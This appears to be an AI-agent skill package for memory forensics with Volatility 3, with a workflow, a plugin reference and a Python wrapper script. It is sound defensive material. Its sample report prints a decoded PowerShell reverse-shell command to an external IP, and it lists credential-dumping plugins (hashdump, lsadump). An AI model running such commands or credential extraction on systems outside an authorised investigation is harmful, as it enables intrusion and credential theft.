npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts
- Detecting fileless malware that exists only in memory without persistent disk artifacts
- Extracting encryption keys, passwords, or decrypted configuration from process memory
- Identifying process injection, DLL injection, or process hollowing in a compromised system
- Analyzing rootkit activity that hides from standard disk-based forensic tools
Do not use for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.
Prerequisites
- Volatility 3 installed (
pip install volatility3) with symbol tables for target OS - Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)
- Knowledge of the source OS version for correct profile/symbol selection
- Sufficient disk space (memory dumps can be 4-64 GB)
- YARA rules for scanning memory for known malware signatures
- Strings utility for extracting readable strings from memory regions
Workflow
Step 1: Identify the Memory Dump Profile
Determine the operating system and version from the memory dump:
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info
# List available plugins
vol3 -f memory.dmp --help
# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscanStep 2: Enumerate Running Processes
List all processes and identify suspicious entries:
# List all processes
vol3 -f memory.dmp windows.pslist
# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree
# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan
# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits
# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on diskSuspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)Step 3: Detect Malicious Code Injection
Scan for injected code and process hollowing:
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies
# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind
# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan
# List kernel modules
vol3 -f memory.dmp windows.modulesStep 4: Analyze Network Connections
Extract active and closed network connections:
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connectionsStep 5: Extract Artifacts and Credentials
Recover sensitive data from memory:
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extract command-line history
vol3 -f memory.dmp windows.cmdline
# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184
# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard
# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560Step 6: Scan Memory with YARA Rules
Apply YARA signatures to detect known malware in memory:
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"Step 7: Timeline and Report Generation
Create an analysis timeline and compile findings:
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times
# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csvKey Concepts
| Term | Definition |
|---|---|
| Memory Forensics | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |
| Process Hollowing | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |
| Malfind | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |
| VAD (Virtual Address Descriptor) | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |
| EPROCESS | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |
| Pool Tag Scanning | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |
| Fileless Malware | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |
Tools & Systems
- Volatility 3: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture
- WinPmem: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis
- LiME (Linux Memory Extractor): Loadable kernel module for capturing Linux system memory dumps
- Rekall: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)
- MemProcFS: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis
Common Scenarios
Scenario: Detecting Fileless Malware After EDR Alert
Context: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.
Approach:
- Run
windows.pstreeto identify the process chain (which process spawned PowerShell) - Run
windows.malfindto detect injected code in running processes - Dump the suspicious process memory and extract strings for C2 URLs
- Run
windows.netscanto identify network connections from the compromised processes - Run
windows.cmdlineto see what commands PowerShell executed - Scan with YARA rules for known malware families in the dumped process memory
- Extract credentials with
hashdumpandlsadumpto assess lateral movement risk
Pitfalls:
- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)
- Not comparing
pslistvspsscanoutput (missing rootkit-hidden processes) - Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)
- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)
Output Format
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS processReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md3.0 KB
API Reference: Volatility 3 Memory Forensics
Core Syntax
vol3 -f <memory_dump> <plugin> [options]
vol3 -f memory.dmp --help # List all plugins
vol3 -f memory.dmp <plugin> --help # Plugin-specific helpWindows Plugins
Process Analysis
| Plugin | Purpose |
|---|---|
windows.pslist |
List active processes |
windows.pstree |
Process tree (parent-child) |
windows.psscan |
Pool-tag scan (finds hidden processes) |
windows.cmdline |
Process command-line arguments |
windows.envars |
Process environment variables |
windows.handles |
Process handle table |
Code Injection Detection
| Plugin | Purpose |
|---|---|
windows.malfind |
Detect injected code (RWX memory + PE headers) |
windows.hollowfind |
Detect process hollowing |
windows.dlllist |
List loaded DLLs per process |
windows.ldrmodules |
Detect unlinked DLLs |
Network
| Plugin | Purpose |
|---|---|
windows.netscan |
List network connections and listeners |
windows.netstat |
Network connections (older Windows) |
Kernel / Rootkit
| Plugin | Purpose |
|---|---|
windows.ssdt |
System Service Descriptor Table hooks |
windows.callbacks |
Kernel callback registrations |
windows.driverscan |
Scan for driver objects |
windows.modules |
Loaded kernel modules |
windows.idt |
Interrupt Descriptor Table |
Credentials
| Plugin | Purpose |
|---|---|
windows.hashdump |
Dump SAM password hashes |
windows.cachedump |
Dump cached domain credentials |
windows.lsadump |
Dump LSA secrets |
Registry
| Plugin | Purpose |
|---|---|
windows.registry.printkey |
Print registry key values |
windows.registry.hivelist |
List registry hives |
windows.registry.certificates |
Extract certificates |
File System
| Plugin | Purpose |
|---|---|
windows.filescan |
Scan for file objects |
windows.dumpfiles |
Extract files from memory |
windows.memmap |
Dump process memory |
YARA Scanning
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar
vol3 -f memory.dmp yarascan.YaraScan --yara-file rules.yar --pid 2184
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule Test { strings: $s = \"cmd.exe\" condition: $s }"Timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csvOutput Options
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
vol3 -f memory.dmp windows.pslist --output json > processes.json
vol3 -f memory.dmp windows.malfind --dump --pid 2184Memory Acquisition Tools
| Tool | Platform | Command |
|---|---|---|
| WinPmem | Windows | winpmem_mini_x64.exe memdump.raw |
| DumpIt | Windows | DumpIt.exe (interactive) |
| LiME | Linux | insmod lime.ko "path=/tmp/mem.lime format=lime" |
| AVML | Linux | avml /tmp/memory.lime |
Symbols
# Download symbol packs
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# Place in: volatility3/symbols/Scripts 1
agent.py8.8 KB
#!/usr/bin/env python3
"""Memory forensics agent using Volatility 3 for malware detection in RAM dumps."""
import shlex
import subprocess
import os
import sys
def run_vol3(memory_dump, plugin, extra_args=""):
"""Execute a Volatility 3 plugin and return output."""
cmd = ["vol3", "-f", memory_dump, plugin]
if extra_args:
cmd.extend(shlex.split(extra_args))
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
return result.stdout.strip(), result.stderr.strip(), result.returncode
def get_os_info(memory_dump):
"""Identify the OS from the memory dump."""
stdout, _, rc = run_vol3(memory_dump, "windows.info")
if rc == 0:
return {"os": "windows", "info": stdout}
stdout, _, rc = run_vol3(memory_dump, "linux.info")
if rc == 0:
return {"os": "linux", "info": stdout}
return {"os": "unknown", "info": ""}
def list_processes(memory_dump):
"""List all running processes using pslist."""
stdout, _, rc = run_vol3(memory_dump, "windows.pslist")
processes = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split()
if len(parts) >= 6 and parts[0].isdigit():
processes.append({
"pid": int(parts[0]),
"ppid": int(parts[1]),
"name": parts[4] if len(parts) > 4 else "",
"offset": parts[0] if not parts[0].isdigit() else "",
})
return processes
def scan_hidden_processes(memory_dump):
"""Scan for hidden/unlinked processes using psscan."""
stdout, _, rc = run_vol3(memory_dump, "windows.psscan")
processes = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split()
if len(parts) >= 5 and parts[1].isdigit():
processes.append({
"offset": parts[0],
"pid": int(parts[1]),
"ppid": int(parts[2]) if parts[2].isdigit() else 0,
"name": parts[4] if len(parts) > 4 else "",
})
return processes
def find_hidden_processes(pslist_procs, psscan_procs):
"""Compare pslist and psscan to identify DKOM-hidden processes."""
pslist_pids = {p["pid"] for p in pslist_procs}
hidden = [p for p in psscan_procs if p["pid"] not in pslist_pids and p["pid"] > 4]
return hidden
def detect_code_injection(memory_dump, pid=None):
"""Detect injected code using malfind plugin."""
extra = f"--pid {pid}" if pid else ""
stdout, _, rc = run_vol3(memory_dump, "windows.malfind", extra)
injections = []
if rc == 0:
current = {}
for line in stdout.splitlines():
if "PID" in line and "Process" in line:
continue
parts = line.split()
if len(parts) >= 4 and parts[0].isdigit():
if current:
injections.append(current)
current = {
"pid": int(parts[0]),
"process": parts[1] if len(parts) > 1 else "",
"address": parts[2] if len(parts) > 2 else "",
"protection": parts[3] if len(parts) > 3 else "",
}
elif current and line.strip():
current["data_preview"] = current.get("data_preview", "") + line.strip() + " "
if current:
injections.append(current)
return injections
def get_network_connections(memory_dump):
"""Extract network connections using netscan."""
stdout, _, rc = run_vol3(memory_dump, "windows.netscan")
connections = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split()
if len(parts) >= 7:
connections.append({
"protocol": parts[1] if len(parts) > 1 else "",
"local_addr": parts[2] if len(parts) > 2 else "",
"local_port": parts[3] if len(parts) > 3 else "",
"foreign_addr": parts[4] if len(parts) > 4 else "",
"foreign_port": parts[5] if len(parts) > 5 else "",
"state": parts[6] if len(parts) > 6 else "",
"pid": parts[7] if len(parts) > 7 else "",
"owner": parts[8] if len(parts) > 8 else "",
})
return connections
def get_command_lines(memory_dump):
"""Extract process command lines."""
stdout, _, rc = run_vol3(memory_dump, "windows.cmdline")
cmdlines = []
if rc == 0:
for line in stdout.splitlines()[2:]:
parts = line.split(None, 2)
if len(parts) >= 3 and parts[0].isdigit():
cmdlines.append({
"pid": int(parts[0]),
"process": parts[1],
"cmdline": parts[2],
})
return cmdlines
def dump_credentials(memory_dump):
"""Extract cached credentials using hashdump and lsadump."""
results = {}
stdout, _, rc = run_vol3(memory_dump, "windows.hashdump")
if rc == 0:
results["hashdump"] = stdout
stdout, _, rc = run_vol3(memory_dump, "windows.cachedump")
if rc == 0:
results["cachedump"] = stdout
stdout, _, rc = run_vol3(memory_dump, "windows.lsadump")
if rc == 0:
results["lsadump"] = stdout
return results
def scan_with_yara(memory_dump, yara_file=None, yara_rule=None, pid=None):
"""Scan memory with YARA rules."""
extra = ""
if yara_file:
extra += f"--yara-file {yara_file}"
elif yara_rule:
extra += f'--yara-rules "{yara_rule}"'
if pid:
extra += f" --pid {pid}"
stdout, _, rc = run_vol3(memory_dump, "yarascan.YaraScan", extra)
return stdout if rc == 0 else ""
def check_suspicious_processes(pslist_procs):
"""Check process list for common suspicious indicators."""
findings = []
expected_parents = {
"svchost.exe": ["services.exe"],
"csrss.exe": ["smss.exe"],
"lsass.exe": ["wininit.exe"],
"smss.exe": ["System"],
}
name_counts = {}
for p in pslist_procs:
name = p["name"].lower()
name_counts[name] = name_counts.get(name, 0) + 1
if name_counts.get("lsass.exe", 0) > 1:
findings.append({"severity": "CRITICAL",
"finding": "Multiple lsass.exe instances detected"})
misspellings = {
"scvhost.exe": "svchost.exe", "svch0st.exe": "svchost.exe",
"lssas.exe": "lsass.exe", "csrs.exe": "csrss.exe",
}
for p in pslist_procs:
if p["name"].lower() in misspellings:
findings.append({
"severity": "HIGH",
"finding": f"Misspelled process: {p['name']} (PID {p['pid']}) "
f"mimicking {misspellings[p['name'].lower()]}",
})
return findings
if __name__ == "__main__":
print("=" * 60)
print("Memory Forensics Agent (Volatility 3)")
print("Process analysis, injection detection, credential extraction")
print("=" * 60)
dump_file = sys.argv[1] if len(sys.argv) > 1 else None
if dump_file and os.path.exists(dump_file):
print(f"\n[*] Analyzing memory dump: {dump_file}")
print(f"[*] Size: {os.path.getsize(dump_file) / (1024**3):.1f} GB")
print("\n--- OS Identification ---")
os_info = get_os_info(dump_file)
print(f" OS: {os_info['os']}")
print("\n--- Process Analysis ---")
procs = list_processes(dump_file)
print(f" Active processes: {len(procs)}")
suspicious = check_suspicious_processes(procs)
for s in suspicious:
print(f" [{s['severity']}] {s['finding']}")
print("\n--- Hidden Process Detection ---")
psscan = scan_hidden_processes(dump_file)
hidden = find_hidden_processes(procs, psscan)
if hidden:
for h in hidden:
print(f" [!] Hidden process: {h['name']} PID={h['pid']}")
else:
print(" No hidden processes detected")
print("\n--- Code Injection Detection ---")
injections = detect_code_injection(dump_file)
print(f" Injected regions: {len(injections)}")
for inj in injections[:5]:
print(f" [!] PID {inj['pid']} ({inj.get('process', '')}): {inj.get('protection', '')}")
print("\n--- Network Connections ---")
conns = get_network_connections(dump_file)
established = [c for c in conns if "ESTABLISHED" in c.get("state", "")]
print(f" Total: {len(conns)}, Established: {len(established)}")
for c in established[:10]:
print(f" {c.get('owner', '?')} (PID {c.get('pid', '?')}): "
f"{c['local_addr']}:{c['local_port']} -> "
f"{c['foreign_addr']}:{c['foreign_port']}")
else:
print(f"\n[DEMO] Usage: python agent.py <memory.dmp>")
print("[*] Provide a memory dump for forensic analysis.")